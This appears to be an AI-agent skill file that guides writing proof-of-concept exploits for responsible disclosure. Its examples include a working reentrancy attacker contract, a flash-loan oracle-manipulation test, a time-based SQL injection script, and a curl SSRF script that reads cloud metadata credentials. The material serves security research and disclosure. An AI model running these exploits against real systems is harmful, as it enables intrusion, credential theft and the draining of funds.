# write-poc

This skill should be used when the user asks to "write a proof of concept", "create a PoC", "demonstrate a vulnerability", "write an exploit PoC", "show this bug is exploitable", "prove this vulnerability exists", "PoC for CVE", "demonstrate the impact", "exploit this bug", "build an exploit", "write a Foundry test for this bug", "create a forge test PoC", or needs to create a working demonstration of a security vulnerability for responsible disclosure and remediation purposes.

- **Kind:** skill
- **Source:** https://github.com/JoranHonig/grimoire
- **Page:** https://forefy.com/skills/373e147d-3e47-47a4-af42-260c109ad0b2
- **API (JSON + files):** https://forefy.com/api/asr/373e147d-3e47-47a4-af42-260c109ad0b2

---

## SKILL.md

---
name: write-poc
user_invocable: true
description: >-
  This skill should be used when the user asks to "write a proof of concept",
  "create a PoC", "demonstrate a vulnerability", "write an exploit PoC",
  "show this bug is exploitable", "prove this vulnerability exists",
  "PoC for CVE", "demonstrate the impact", "exploit this bug",
  "build an exploit", "write a Foundry test for this bug",
  "create a forge test PoC", or needs to create a working demonstration
  of a security vulnerability for responsible disclosure and remediation
  purposes.
---

# Write Proof of Concept

## Purpose

Assist security researchers in writing clear, effective proof-of-concept code that
demonstrates discovered vulnerabilities. PoCs serve as evidence for project maintainers
to understand, reproduce, and fix security issues. Every PoC produced under this skill
assumes an authorized security research context — pentesting engagements, bug bounty
programs, coordinated disclosure, or CTF challenges.

## Philosophy

This skill exists because unstructured "write me a PoC" prompts succeed roughly 60% of
the time. The opinionated structure here — fixed phases, explicit vulnerability-class
references, approach confirmation gates — raises that to approximately 90% one-shot
success by front-loading the decisions that cause agent confusion.

**A PoC is proof, not a suggestion.** It transforms a hypothesis ("I think this is
exploitable") into a fact ("here is the exploit running"). Theoretical descriptions are
insufficient. If it cannot be run and observed to succeed, it is not done.

**Minimum viable proof.** Demonstrate the issue exists and its impact. Do not build a full
exploit toolkit, do not chain unrelated bugs, do not add features beyond what proves the
point.

**Benign payloads only.** `alert(1)`, `sleep()`, `id`, `whoami`. Never destructive. This
is non-negotiable.

**Parameterized targets.** `localhost`, `$TARGET`, environment variables. Never hardcoded
production URLs. The maintainer must be able to point the PoC at their own test
environment.

**Impact communication.** Especially for smart contracts: demonstrate monetary impact.
Measure balances before and after. Print profit. Reviewers and triagers respond to
concrete numbers, not abstract descriptions.

> You are responsible for your PoCs. Agents make mistakes. Always review the generated
> code, verify it demonstrates what you think it demonstrates, and never run it against
> production without explicit authorization.

## Workflow Checklist

When this skill is activated, create a todo list from the following steps. Mark each task
in_progress before starting it and completed when done. Use descriptions from the detailed
sections below.

```
- [ ] 1. Gather vulnerability details — study the issue and impacted code, establish vuln class, root cause, attack surface, prerequisites, and impact. Consider dispatching a librarian for external references. Confirm with user.
- [ ] 2. Define exploit flow — formulate goal condition, determine mono/poly flow, sketch steps if multi-step. Confirm with user.
- [ ] 3. Determine PoC approach — choose test case vs script, for smart contracts decide fork/unit test and whether to use forge-poc-templates. Confirm with user.
- [ ] 4. Write the PoC — dispatch a gnome with the full briefing from phases 1-3 to implement the PoC. Review gnome output and confirm with user.
- [ ] 5. Review before delivery — dispatch a familiar to independently verify the PoC against the review checklist. Present familiar's assessment to user for final approval.
```

---

## PoC Writing Workflow

Follow these steps in order when writing a proof of concept.

### 1. Gather Vulnerability Details

Before writing any code, establish the following:

- **Vulnerability class** — What type of issue is it? (e.g., SQL injection, buffer overflow, SSRF, auth bypass, race condition)
- **Affected component** — Which file, endpoint, function, or binary is vulnerable?
- **Root cause** — What is the underlying flaw? (e.g., unsanitized input, missing bounds check, TOCTOU)
- **Attack surface** — How is the vulnerable component reached? (e.g., HTTP request, CLI argument, file upload, IPC)
- **Prerequisites** — What conditions must be true? (e.g., authenticated user, specific configuration, network access)
- **Impact** — What can an attacker achieve? (e.g., RCE, data exfiltration, privilege escalation, DoS)

If any detail is unclear, ask the user before proceeding. A PoC built on incorrect assumptions wastes time.

Study both the impacted code and the issue description provided by the user, make sure to understand the exploit flow deeply.

**Librarian.** If the vulnerability involves external protocols, specifications, or known
vulnerability patterns, consider dispatching a librarian agent to retrieve relevant
documentation, prior findings, or security advisories. This is especially useful for
protocol-level bugs (e.g., ERC specs, DeFi invariants) where the codebase alone doesn't
tell the full story.

Check in with the user before continuing!

### 2. Exploit Flow, Kill Chain and Scope

With the vulnerability details established, determine how the flaw can be demonstrated.

*goal condition*

The purpose of a PoC is to demonstrate and test the validity of a bug, but also to demonstrate it's impact. Study the potential impact 
of the issue and determine what the minimum viable proof of impact is. Formulate a goal condition that's a clear demonstration of the impact:
* open calc.exe ( to demonstrate an RCE )
* have a security critical function return an incorrect value ( e.g. have a jwt verification function pass for an invalid input )
* reach a smart contract state where the attacker has more funds than they started 
* have an alert box open on a web page (xss)

*flow*

Determine whether the exploit has multiple steps or whether it requires just a single one.

**mono** some proof of concepts comprise a single step. A reflected XSS for example might be demonstrated with a single curl statement.
**poly** some proof of concepts comprise multiple steps, especially those formulated as unit tests.

Study the vulnerability and determine which (mono or poly) is necessary to reach the PoC goal condition.

If multiple steps are required, sketch out the exploit flow step by step. 

Check in with the user, have them review the flow you designed and leverage their input to adapt.

### 3. Determine PoC Approach

Select the minimal demonstration that proves the vulnerability exists and conveys its impact.
Follow the principle of **minimum viable proof** — demonstrate the issue without going beyond
what is necessary.

**Identify the vulnerability class from step 1 and consult the matching reference file:**

| Vulnerability Class | Reference File |
|---|---|
| SQL injection, XSS, SSRF, auth bypass, IDOR | `references/web-application-vulns.md` |
| Buffer overflow, use-after-free, format string | `references/memory-corruption.md` |
| Weak randomness, ECB, padding oracle, hardcoded secrets | `references/crypto-vulns.md` |
| TOCTOU, concurrent request races | `references/race-conditions.md` |
| Business logic flaws | `references/logic-flaws.md` |
| Misconfiguration, exposed services | `references/config-issues.md` |
| Smart contract vulnerabilities | `references/smart-contracts.md` |
| Smart contract (flash loan, reentrancy, price manipulation) | `references/forge-poc-templates.md` |
| Other / unlisted | `references/general-principles.md` |

Read the matching reference file before choosing an approach — it contains templates and
conventions specific to the vulnerability class. For general format principles that apply
to all classes, also consult `references/general-principles.md` and `references/poc-formats.md`.

Primary PoC approaches:
* Test Case (preferred)
* Python Script

**Test Case Proof of Concepts**

Analyze whether it is possible to write the proof of concept as a test case to extend an existing test suite.
Determine the best place to put the proof of concept code if that's the case. Then ask the user if they would
like to extend the test suite and if this location is correct.

When the target is a smart contract, ask the user whether to use a **fork test** (live on-chain
state) or a **unit test** (self-contained, synthetic state) before proceeding. Also determine
whether **forge-poc-templates** (Immunefi's PoC library) would be useful — it provides base
contracts for flash loans, reentrancy, price manipulation, and balance tracking. Always ask
the user whether to use it, and give a recommendation based on the exploit pattern. Consult
**`references/smart-contracts.md`** for approach selection, templates, and conventions, and
**`references/forge-poc-templates.md`** for the forge-poc-templates API reference.

**Alternative Approaches**

The preferred method (after test cases) is a single python script that leverages click and loguru.

**Notes**

When multiple approaches work, prefer the one that is **simplest to reproduce** for the
maintainer receiving the report.

**Confirm**

Always confirm the PoC approach with the user.

### 4. Write the PoC

**Delegate to a gnome agent.** By this point all decisions have been made — the vulnerability
is understood, the exploit flow is designed, and the approach is confirmed. Dispatch a gnome
(subagent) to implement the PoC in an isolated context. This keeps the orchestration context
clean from implementation details and preserves context for the review phase.

**Gnome briefing.** Provide the gnome with:
- The vulnerability details from phase 1 (class, root cause, affected component, impact)
- The exploit flow from phase 2 (goal condition, mono/poly, step sketch)
- The chosen approach from phase 3 (test case vs script, fork vs unit, forge-poc-templates)
- The matching reference file(s) for the vulnerability class
- The specific source files it needs to read
- An example PoC from the `examples/` directory that best matches the chosen approach

**Gnome instructions.** The gnome must follow all implementation guidelines below and report
back with: the implemented PoC, a summary of decisions made during implementation, and any
blockers or assumptions it had to make.

**Implementation guidelines (included in gnome briefing):**

Structure every PoC with these elements:

**Header block (comment at top of file) or comment for the test case:**
```
Title:        [Short descriptive title]
Affected:     [Component, version, file/endpoint]
Impact:       [One-line impact statement]
Author:       [Researcher name/handle]
```

Use the comment standard that best applies for the language/ framework that the PoC is written in.

This means natspec for solidity, javadoc for java, etc.

**Implementation rules:**
- **Use benign payloads.** Demonstrate the vulnerability without causing harm. For example, use
  `alert(1)` or `<img src=x>` for XSS, `sleep()` for SQL injection, `id` or `whoami` for
  command injection, `127.0.0.1` for SSRF. Avoid destructive payloads.
- **Target localhost or placeholder addresses.** Never hardcode production targets. Use
  variables or arguments for the target so the maintainer can point it at their own test
  environment.
- **Add clear comments.** Annotate each significant step explaining *what* it does and *why*
  it matters for the exploit chain. Maintainers need to understand the logic to write a fix.
- **Handle errors gracefully.** Include basic error handling so the PoC fails informatively
  rather than silently or with a cryptic traceback.
- **Print clear output.** Indicate success or failure explicitly. Example: `[+] Vulnerability
  confirmed: server returned injected content` or `[-] Target does not appear vulnerable`.
- **Keep dependencies minimal.** Prefer standard libraries. If external dependencies are
  required, document them in a requirements section.
- **Test case success.** When implementing a PoC as a test case, test passage should
  indicate exploit success.
- **Monetary Impact.** If the flaw allows extraction of funds such as for smart contract
  vulnerabilities then clearly demonstrate profitability of an attack. Measure attacker
  balance before and after the proof of concept and determine profit. Print this profit so
  the user can verify.
- **Use section header comments.** Organize PoC code into logical blocks using the format
  `// == [ Section Name ] ==` to let readers quickly skim and distinguish preamble/setup from
  the core exploit logic.
  - Common sections include Set Up, Build Payload, Execute Exploit, and Verify Impact, but
    the exact sections depend on the vulnerability.
  - Keep the number of sections minimal — less is more. Only introduce a section break where
    the code shifts to a meaningfully different phase of the exploit.

Important: Never run the PoC against a production environment without asking the user!

**Confirm**

Once the gnome returns, review its output for obvious issues and present the completed PoC
to the user. Walk them through the implementation and confirm it matches the agreed approach,
covers the full exploit flow, and produces clear output.

### 5. Review Before Delivery

**Delegate to a familiar agent.** Dispatch a familiar (subagent using a high-reasoning model)
to independently review the PoC produced in phase 4. The familiar acts as a skeptical
reviewer — it verifies rather than assumes.

**Familiar briefing.** Provide the familiar with:
- The vulnerability details from phase 1
- The exploit flow from phase 2
- The completed PoC code from phase 4

**Familiar review checklist.** The familiar must verify each item and report its assessment:

- [ ] No destructive payloads or actions
- [ ] PoC actually demonstrates the vulnerability (not just a theoretical description)
- [ ] The exploit logic correctly implements the attack flow from phase 2
- [ ] Comments explain the exploit chain clearly
- [ ] Output clearly indicates success or failure
- [ ] Reproduction steps are complete and ordered
- [ ] An accuracy and completeness estimate for the PoC

Present the familiar's review alongside the PoC to the user for final approval before delivery.

## Additional Resources

All reference files are listed in the vulnerability-class-to-reference table in step 3.
Consult the matching reference before choosing an approach.

For worked examples demonstrating each PoC approach (curl, Python script, Foundry unit
test, Foundry fork test with forge-poc-templates), see the `examples/` directory.

## examples

```

```

## examples/price-oracle-fork-test.md

# Example: Price Oracle Manipulation PoC (Fork Test + forge-poc-templates)

This example demonstrates the **fork test** approach with **forge-poc-templates** for a
complex DeFi exploit. It shows a poly-flow with flash loan, price manipulation, and
monetary impact tracking — the most involved PoC pattern in the skill.

**Scenario:** A lending protocol uses a Uniswap V2 spot price as its oracle. An attacker
can take a flash loan, manipulate the pool ratio, borrow against inflated collateral, and
repay the flash loan at a profit.

**Approach:** Poly-flow Foundry fork test inheriting from forge-poc-templates.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-poc-templates/PoC.sol";
import "forge-poc-templates/tokens/Tokens.sol";

/**
 * @title  Price oracle manipulation enables undercollateralized borrowing
 * @notice Affected: LendingPool.borrow() — uses Uniswap V2 spot price as oracle
 *         Impact:   Drain lending pool reserves (~$2.1M at pinned block)
 *         Author:   researcher
 */

// Replace these with actual target addresses
address constant LENDING_POOL = 0xABCDabcdABCDabcdABCDabcdABCDabcdABCDabcd;
address constant UNISWAP_PAIR = 0x1234123412341234123412341234123412341234;

contract OracleManipulationPoC is Test, PoC, Tokens {

    // == [ Set Up ] ==

    function setUp() public {
        // Pin to a specific block for reproducibility
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
    }

    // == [ Flash Loan ] ==

    function testOracleManipulation() public {
        uint256 attackerBefore = IERC20(USDC).balanceOf(address(this));
        console.log("Attacker USDC before: %s", attackerBefore / 1e6);

        // Borrow WETH via flash loan to manipulate the pool
        // Using forge-poc-templates flash loan infrastructure
        takeFlashLoan(EthereumTokens.WETH, 10_000 ether);
    }

    function _executeAttack() internal override {
        // == [ Manipulate Oracle ] ==

        // Swap large WETH amount into the Uniswap pair to skew the price
        IERC20(EthereumTokens.WETH).approve(UNISWAP_PAIR, type(uint256).max);
        // ... swap logic against the pair to inflate collateral token price

        // == [ Exploit ] ==

        // Borrow against inflated collateral value
        // LendingPool reads spot price from the manipulated pair
        // ... borrow call against LENDING_POOL

        // Swap back to repay flash loan
        // ... reverse swap to restore position
    }

    function _completeAttack() internal override {
        // == [ Verify Profit ] ==

        uint256 attackerAfter = IERC20(USDC).balanceOf(address(this));
        uint256 profit = attackerAfter - 0; // attackerBefore was 0

        console.log("Attacker USDC after:  %s", attackerAfter / 1e6);
        console.log("Profit:               %s USDC", profit / 1e6);

        assertGt(profit, 0, "Attack was not profitable");
    }
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transfer(address, uint256) external returns (bool);
}
```

**Run with:**
```bash
ETH_RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY \
  forge test --match-test testOracleManipulation -vv
```

## Why This PoC Works

- **Fork test proves on real state.** Pinning block 18,500,000 means the test runs
  against actual on-chain balances and contract code. No synthetic mocks needed.
- **forge-poc-templates simplifies setup.** `PoC` base contract handles flash loan
  mechanics (`takeFlashLoan` / `_executeAttack` / `_completeAttack`), and `Tokens`
  provides well-known token addresses. The PoC focuses on the exploit logic.
- **Block pinning ensures reproducibility.** Anyone with an RPC endpoint can reproduce
  the exact same state. The pinned block is noted in the setUp and run command.
- **Monetary impact is explicit.** Before/after USDC balances and computed profit in
  human-readable units (divided by 1e6). A triager sees dollar amounts.
- **Section comments trace the poly flow.** Flash Loan → Manipulate Oracle → Exploit →
  Verify Profit. Each phase is a distinct section, making the multi-step attack readable.
- **Benign.** Runs in Foundry's EVM fork — no real transactions submitted. The flash
  loan and swaps exist only in the test VM.
- **Parameterized RPC.** The RPC URL comes from an environment variable, not hardcoded.
  Target contract addresses are declared as named constants at the top for easy
  adjustment.

## examples/reentrancy-foundry-poc.md

# Example: Reentrancy PoC (Foundry Unit Test)

This example demonstrates writing a PoC as a **Foundry unit test** — the preferred
test-case approach for smart contract vulnerabilities. It shows section header comments,
monetary impact logging, and an attacker contract pattern.

**Scenario:** A Vault contract sends ETH via a low-level `call` before updating the
sender's balance, allowing reentrancy to drain deposited funds.

**Approach:** Poly-flow Foundry unit test with attacker contract.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

/**
 * @title  Theft of deposited funds via reentrancy in Vault.withdraw()
 * @notice Affected: Vault.sol (withdraw function, line 42)
 *         Impact:   Drain all ETH deposited by other users
 *         Author:   researcher
 */
contract VaultReentrancyPoC is Test {
    Vault public vault;
    Attacker public attacker;

    // == [ Set Up ] ==

    function setUp() public {
        vault = new Vault();

        // Simulate existing deposits from other users
        vm.deal(address(this), 10 ether);
        vault.deposit{value: 10 ether}();

        // Fund attacker with minimal capital
        attacker = new Attacker(vault);
        vm.deal(address(attacker), 1 ether);
    }

    // == [ Execute Exploit ] ==

    function testReentrancy() public {
        uint256 vaultBefore = address(vault).balance;     // 10 ETH (other users)
        uint256 attackerBefore = address(attacker).balance; // 1 ETH (seed capital)

        console.log("Vault balance before:    %s wei", vaultBefore);
        console.log("Attacker balance before: %s wei", attackerBefore);

        attacker.attack{value: 1 ether}();

        // == [ Verify Impact ] ==

        uint256 vaultAfter = address(vault).balance;
        uint256 attackerAfter = address(attacker).balance;
        uint256 profit = attackerAfter - attackerBefore;

        console.log("Vault balance after:     %s wei", vaultAfter);
        console.log("Attacker balance after:  %s wei", attackerAfter);
        console.log("Attacker profit:         %s wei", profit);

        // Vault should be drained; attacker should have more than they started with
        assertEq(vaultAfter, 0, "Vault not fully drained");
        assertGt(attackerAfter, attackerBefore, "Attacker did not profit");
    }
}

contract Attacker {
    Vault public vault;

    constructor(Vault _vault) {
        vault = _vault;
    }

    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.withdraw();
    }

    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw();
        }
    }
}

// Minimal vulnerable vault for illustration — in a real PoC this would be
// the actual target contract imported from the project.
contract Vault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");
        balances[msg.sender] = 0; // state update after external call — the bug
    }
}
```

## Why This PoC Works

- **Test-case integration.** Written as a Foundry test — `forge test -vv` runs it and
  the test passing means the exploit succeeded. No manual interpretation needed.
- **Section comments.** `// == [ Set Up ] ==`, `// == [ Execute Exploit ] ==`,
  `// == [ Verify Impact ] ==` let reviewers skim the structure at a glance.
- **Monetary impact demonstrated.** Logs vault and attacker balances before and after,
  calculates profit. A triager sees concrete ETH amounts, not an abstract claim.
- **Benign.** Runs entirely in the Foundry VM. No mainnet transactions, no real funds
  at risk. The attacker contract and vault are self-contained.
- **Clear output.** `console.log` shows the exploit narrative; `assertEq` / `assertGt`
  enforce the expected outcome. Failure messages explain what went wrong.
- **Minimum viable proof.** One deposit, one withdraw with reentrance, one assertion.
  No unnecessary steps or optimizations.

## examples/sqli-python-poc.md

# Example: SQL Injection PoC (Python Script)

This example demonstrates the preferred **Python script approach** for web application
vulnerabilities. It uses a time-based blind technique with `sleep()` as the benign
payload.

**Scenario:** A login endpoint is vulnerable to time-based blind SQL injection in the
`username` parameter. The application uses MySQL.

**Approach:** Mono-flow Python script with click and loguru.

```python
#!/usr/bin/env python3
"""
Title:     Time-based blind SQL injection in login endpoint
Affected:  POST /api/login (auth-service v3.2.0, username parameter)
Impact:    Extract database contents via boolean/time oracle
Author:    researcher
"""

import time
import click
import requests
from loguru import logger

SLEEP_SECONDS = 5
TIMING_THRESHOLD = 4.0  # response must be at least this slow to confirm


@click.command()
@click.option("--target", default="http://localhost:8080", help="Base URL of target")
def main(target: str) -> None:
    endpoint = f"{target}/api/login"

    # == [ Build Payload ] ==
    baseline_data = {"username": "admin", "password": "test"}
    payload_data = {
        "username": f"admin' OR SLEEP({SLEEP_SECONDS})-- -",
        "password": "test",
    }

    # == [ Execute — Baseline ] ==
    logger.info("Sending baseline request...")
    t0 = time.time()
    try:
        requests.post(endpoint, data=baseline_data, timeout=30)
    except requests.ConnectionError:
        logger.error(f"Cannot connect to {endpoint}")
        raise SystemExit(1)
    baseline_time = time.time() - t0
    logger.info(f"Baseline response time: {baseline_time:.2f}s")

    # == [ Execute — Payload ] ==
    logger.info(f"Sending payload (expecting ~{SLEEP_SECONDS}s delay)...")
    t0 = time.time()
    requests.post(endpoint, data=payload_data, timeout=30)
    payload_time = time.time() - t0
    logger.info(f"Payload response time: {payload_time:.2f}s")

    # == [ Verify Impact ] ==
    delay = payload_time - baseline_time
    if delay >= TIMING_THRESHOLD:
        logger.success(
            f"[+] Vulnerability confirmed: {delay:.2f}s additional delay "
            f"(expected ~{SLEEP_SECONDS}s)"
        )
    else:
        logger.warning(
            f"[-] Target does not appear vulnerable "
            f"(only {delay:.2f}s difference)"
        )
        raise SystemExit(1)


if __name__ == "__main__":
    main()
```

## Why This PoC Works

- **Parameterized target.** `--target` flag defaults to localhost. The maintainer runs
  `python poc.py --target http://staging:8080` against their own environment.
- **Benign payload.** Uses `SLEEP()` — no data is exfiltrated, no tables are modified.
  The only observable effect is a time delay.
- **Baseline comparison.** Measures normal response time first, then compares against the
  injected delay. This eliminates false positives from slow networks.
- **Clear success/failure output.** `[+]` with measured delay vs `[-]` with explanation.
  A triager can read the output without understanding SQL injection.
- **Minimal dependencies.** Only `requests`, `click`, and `loguru` — all standard in
  security tooling. No exotic libraries.
- **Mono-flow simplicity.** Two requests and a time comparison. The minimum needed to
  prove the injection exists.

## examples/ssrf-curl-poc.md

# Example: SSRF PoC (curl)

Sometimes a single curl command is the most effective PoC. This example demonstrates the
**minimum viable proof** principle — one request is enough to prove the vulnerability.

**Scenario:** An image proxy endpoint fetches user-supplied URLs without restriction,
allowing an attacker to read cloud metadata.

**Approach:** Mono-flow bash script with curl.

```bash
#!/usr/bin/env bash
# == [ Header ] ==
# Title:     SSRF via unrestricted image proxy
# Affected:  GET /api/proxy?url= (image-service v2.1.3)
# Impact:    Read cloud instance metadata (AWS/GCP credentials)
# Author:    researcher

set -euo pipefail

# == [ Set Up ] ==
TARGET="${1:-http://localhost:8080}"
ENDPOINT="${TARGET}/api/proxy"
METADATA_URL="http://169.254.169.254/latest/meta-data/"

# == [ Execute Exploit ] ==
echo "[*] Requesting metadata via image proxy..."
RESPONSE=$(curl -s -o - -w "\n%{http_code}" \
  "${ENDPOINT}?url=${METADATA_URL}")

HTTP_CODE=$(echo "$RESPONSE" | tail -1)
BODY=$(echo "$RESPONSE" | sed '$d')

# == [ Verify Impact ] ==
if [ "$HTTP_CODE" = "200" ] && echo "$BODY" | grep -q "ami-id\|instance-id\|hostname"; then
  echo "[+] Vulnerability confirmed: proxy returned cloud metadata"
  echo "    Response body (first 5 lines):"
  echo "$BODY" | head -5 | sed 's/^/    /'
  exit 0
else
  echo "[-] Target does not appear vulnerable (HTTP ${HTTP_CODE})"
  exit 1
fi
```

## Why This PoC Works

- **Minimum viable proof.** A single curl request proves the server fetches arbitrary
  internal URLs. No additional complexity needed.
- **Parameterized target.** `TARGET` defaults to localhost and is overridable via CLI
  argument. No hardcoded production URLs.
- **Benign payload.** Reads metadata — does not exfiltrate, modify, or destroy anything.
  The metadata URL is the standard canary for SSRF testing.
- **Clear output.** `[+]` / `[-]` prefix makes success or failure unambiguous. Prints
  partial response body so the reviewer sees real evidence.
- **Trivially reproducible.** A maintainer can copy this script and run it against their
  staging environment in seconds.

## references

```

```

## references/config-issues.md

# Configuration / Deployment Issues

**Preferred format:** Minimal config + demonstration command

```yaml
# docker-compose.yml exposes debug port to all interfaces
services:
  app:
    ports:
      - "0.0.0.0:9229:9229"  # Node.js debug port — accessible externally
```

```bash
# Connect to exposed debug port from external machine
node inspect TARGET:9229
# Result: full code execution in application context
```

## references/crypto-vulns.md

# Cryptographic Vulnerabilities

**Preferred format:** Script demonstrating the mathematical/logical weakness

Focus on showing *why* the cryptographic construction fails:

- **Weak randomness:** Generate multiple tokens/keys, show predictable pattern
- **ECB mode:** Encrypt structured data, show block patterns
- **Padding oracle:** Script performing the oracle queries with timing/response analysis
- **Hash collisions:** Provide two distinct inputs producing the same hash
- **Hardcoded secrets:** Show the secret and demonstrate forgery

Always explain the cryptographic principle being violated.

## references/forge-poc-templates.md

# forge-poc-templates (Immunefi)

Reference for the [forge-poc-templates](https://github.com/immunefi-team/forge-poc-templates/)
library by Immunefi. Provides structured base contracts for building smart contract PoCs with
built-in support for flash loans, reentrancy, price manipulation, balance tracking, and
multi-chain token constants.

## When to Recommend

Recommend forge-poc-templates when the PoC involves any of the following:

- **Flash loans** — the library handles provider callbacks, repayment, and supports Aave (V2/V3),
  Uniswap (V2/V3), Balancer, and MakerDAO out of the box
- **Reentrancy** — provides a state machine and pre-built callbacks for ERC677, ERC777, ERC1363,
  ERC1155, ERC721, and native ETH receive/fallback
- **Price manipulation** — includes Curve pool interaction wrappers and composable flash loan
  chaining
- **Balance/profit tracking** — automatic pre/post balance snapshots with formatted output,
  useful for demonstrating monetary impact
- **Multi-chain fork tests** — ships token address constants for Ethereum, Polygon, Arbitrum,
  Optimism, Avalanche, Fantom, and BSC

Do **not** recommend it when:
- The PoC is a simple unit test against a locally deployed contract with no DeFi interactions
- The vulnerability is pure logic (access control, arithmetic, state machine) with no
  callbacks or flash loans involved
- The project already has its own test framework and adding a dependency would complicate
  reproduction

## Before Writing Code

Before implementing a PoC that uses forge-poc-templates, **study the repository** to understand
the base contracts and their APIs. Key files to read:

- `src/PoC.sol` — base contract with balance snapshotting (`snapshotAndPrint`, `setAlias`)
- `src/flashloan/FlashLoan.sol` — `takeFlashLoan()` and provider enum
- `src/reentrancy/Reentrancy.sol` — state machine and callback dispatch
- `src/pricemanipulation/PriceManipulation.sol` — price oracle manipulation wrapper
- `src/tokens/Tokens.sol` — `deal()` / `dealFrom()` wrappers and per-chain token constants
- `src/log/Log.sol` — structured logging with phase and step tracking

Also review the examples in `test/` and `pocs/` for real usage patterns.

## Installation

Install as a Foundry dependency:

```bash
forge install immunefi-team/forge-poc-templates --no-commit
```

Then add the remapping to `foundry.toml` or `remappings.txt`:

```
forge-poc-templates/=lib/forge-poc-templates/src/
```

## Architecture

The library uses a hook-based architecture. You extend a base contract and implement
hook methods that fire at specific points during the exploit:

| Method | When it fires | Required |
|---|---|---|
| `initiateAttack()` | You define this as the entry point | Yes |
| `_executeAttack()` | Called inside the flash loan / reentrancy callback | Yes |
| `_completeAttack()` | Called after the callback returns | Yes |
| `_reentrancyCallback()` | Called on each reentrant invocation | Only for Reentrancy |

## Base Contracts

### PoC

The root base contract. Extends `Test`, `Tokens`, and `Log`. Use this when you only need
balance tracking without flash loan or reentrancy scaffolding.

```solidity
import "forge-poc-templates/PoC.sol";

contract MyPoC is PoC {
    function initiateAttack() external {
        // ...
    }
}
```

Key methods:
- `snapshotAndPrint(address user, IERC20[] tokens)` — capture and log balances
- `setAlias(address addr, string name)` — label addresses for readable output
- `deal(IERC20 token, address to, uint256 amount)` — set token balances

### FlashLoan

Manages multi-provider flash loan execution with automatic repayment.

```solidity
import "forge-poc-templates/flashloan/FlashLoan.sol";
import "forge-poc-templates/tokens/Tokens.sol";

contract MyFlashLoanPoC is FlashLoan, Tokens {
    function initiateAttack() external {
        takeFlashLoan(FlashLoanProviders.AAVE_V3, IERC20(token), amount);
    }

    function _executeAttack() internal override {
        // runs inside the flash loan callback — funds are available here
    }

    function _completeAttack() internal override {
        // runs after repayment
    }
}
```

**Supported providers:** `AAVE_V2`, `AAVE_V3`, `UNISWAPV2`, `UNISWAPV3`, `BALANCER`,
`MAKERDAO`.

Chaining: call `takeFlashLoan()` again inside `_executeAttack()` to chain providers.
Use `currentFlashLoanProvider()` to branch on which provider is active.

### Reentrancy

State machine with callback dispatch. Implements receiver interfaces for all common
token standards so the contract automatically accepts callbacks.

```solidity
import "forge-poc-templates/reentrancy/Reentrancy.sol";

contract MyReentrancyPoC is Reentrancy {
    function initiateAttack() external {
        // trigger the vulnerable function
    }

    function _executeAttack() internal override {
        // first invocation logic
    }

    function _completeAttack() internal override {
        // post-attack verification
    }

    function _reentrancyCallback() internal override {
        // fires on each reentrant callback — implement the re-entry loop here
    }
}
```

Callbacks handled automatically: `onTokenTransfer` (ERC677), `onTransferReceived` (ERC1363),
`tokensReceived` (ERC777), `onERC721Received`, `onERC1155Received`, `receive()`/`fallback()`.

### PriceManipulation

Extends Reentrancy. Use when the exploit involves manipulating an on-chain price oracle
(e.g. Curve read-only reentrancy).

```solidity
import "forge-poc-templates/pricemanipulation/PriceManipulation.sol";

contract MyPricePoC is PriceManipulation {
    function initiateAttack() external {
        manipulatePrice(
            PriceManipulationProviders.CURVE,
            token0, token1, amount0, amount1
        );
    }

    function _executeAttack() internal override { }
    function _completeAttack() internal override { }
}
```

## Utilities

### Token Constants

Import per-chain token addresses to avoid hardcoding:

```solidity
import "forge-poc-templates/tokens/Tokens.sol";

// Use as: EthereumTokens.WETH, EthereumTokens.USDC, etc.
// Also: PolygonTokens, ArbitrumTokens, OptimismTokens, AvalancheTokens, ...
```

### Oracle Mocks

Mock contracts for oracle-dependent tests:

- `MockChainLink` — mock Chainlink Feed Registry with `mockOracleData()`
- `MockPyth` — mock Pyth oracle with price feed constants
- `MockBand` — mock Band oracle with symbol-based pairs

### Logging

Structured logging with phase tracking:

```solidity
_setPhase(LogPhase.EXECUTE_ATTACK);
_log("Draining pool");
_logInt("Profit", profit);
```

### Malicious Contract Mocks

Pre-built adversarial contracts in `src/mocks/`:
- `gasExhaust.sol` — consumes all gas
- `returnBomb.sol` — returns massive data to cause OOG on the caller
- `self-destruct.sol` — self-destructing contract

## Typical Test Harness

The PoC contract is usually deployed from a standard Foundry test:

```solidity
contract ExploitTest is Test {
    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), BLOCK_NUMBER);
    }

    function test_exploit() public {
        MyFlashLoanPoC exploit = new MyFlashLoanPoC();

        // snapshot balances
        IERC20[] memory tokens = new IERC20[](1);
        tokens[0] = IERC20(EthereumTokens.WETH);
        exploit.snapshotAndPrint(address(exploit), tokens);

        // execute
        exploit.initiateAttack();

        // print profit
        exploit.snapshotAndPrint(address(exploit), tokens);
    }
}
```

## references/general-principles.md

# General Format Principles

Regardless of vulnerability class:

1. **Show, don't just tell.** Every PoC must produce observable evidence.
2. **Diff expected vs actual.** Clearly state what *should* happen and what *does* happen.
3. **One vulnerability per PoC.** Keep demonstrations focused. Chain demonstrations
   belong in a separate "exploit chain" document.
4. **Version-pin the target.** State the exact version, commit hash, or configuration
   that is vulnerable.
5. **Include cleanup.** If the PoC creates artifacts (files, database entries, user accounts),
   document how to clean them up.

## references/logic-flaws.md

# Logic / Business Logic Flaws

**Preferred format:** Step-by-step reproduction with explanation

Logic bugs often require narrative context. Use a numbered reproduction format:

```markdown
## Reproduction Steps

1. Create account with role "user"
2. Navigate to /admin/settings (should return 403)
3. Modify request: change `role` cookie value from "user" to "admin"
4. Resend request — server returns 200 with admin panel

## Why This Works

The server checks the role from the client-supplied cookie (line 142 in
auth_middleware.js) rather than from the server-side session. An attacker
